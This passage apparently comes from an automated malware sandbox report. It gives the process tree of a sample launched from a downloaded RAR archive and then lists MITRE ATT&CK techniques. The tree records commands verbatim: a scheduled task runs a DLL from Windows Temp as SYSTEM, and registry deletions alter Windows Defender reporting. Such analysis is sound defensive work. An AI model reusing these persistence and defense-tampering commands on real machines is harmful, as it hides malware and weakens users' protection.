  schtasks /CREATE /TN "SNKuoFxaAYneqmtab" /SC once /ST 10:19:41 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\iEXgneFXbIyvMcll\PHqrhHDa\HoabAVs.dll\",#1 /kXsite_idmdm 525403" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:5064
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "SNKuoFxaAYneqmtab"
  2⤵
  PID:6400
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
  2⤵
  PID:4544
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
    3⤵
    PID:10764
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
  2⤵
  PID:10132
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
    3⤵
    PID:1880
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "iGLminDpaUjjtVOPq"
  2⤵
  PID:9560

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\file_x86_x64.rar"
1⤵
PID:10708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 8212 -ip 8212
1⤵
PID:6212

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\iEXgneFXbIyvMcll\PHqrhHDa\HoabAVs.dll",#1 /kXsite_idmdm 525403
1⤵
PID:6480
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\iEXgneFXbIyvMcll\PHqrhHDa\HoabAVs.dll",#1 /kXsite_idmdm 525403
  2⤵
  PID:6916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "SNKuoFxaAYneqmtab"
    3⤵
    PID:9968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 8256 -ip 8256
1⤵
PID:6716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 7568 -ip 7568
1⤵
PID:8384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 8060 -ip 8060
1⤵
PID:9660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:10840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:6272

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4480

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:8732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 10304 -ip 10304
1⤵
PID:10616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 6264 -ip 6264
1⤵
PID:7132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1212 -ip 1212
1⤵
PID:6640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 8228 -ip 8228
1⤵
PID:8072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 9472 -ip 9472
1⤵
PID:7812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 652 -ip 652
1⤵
PID:9836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery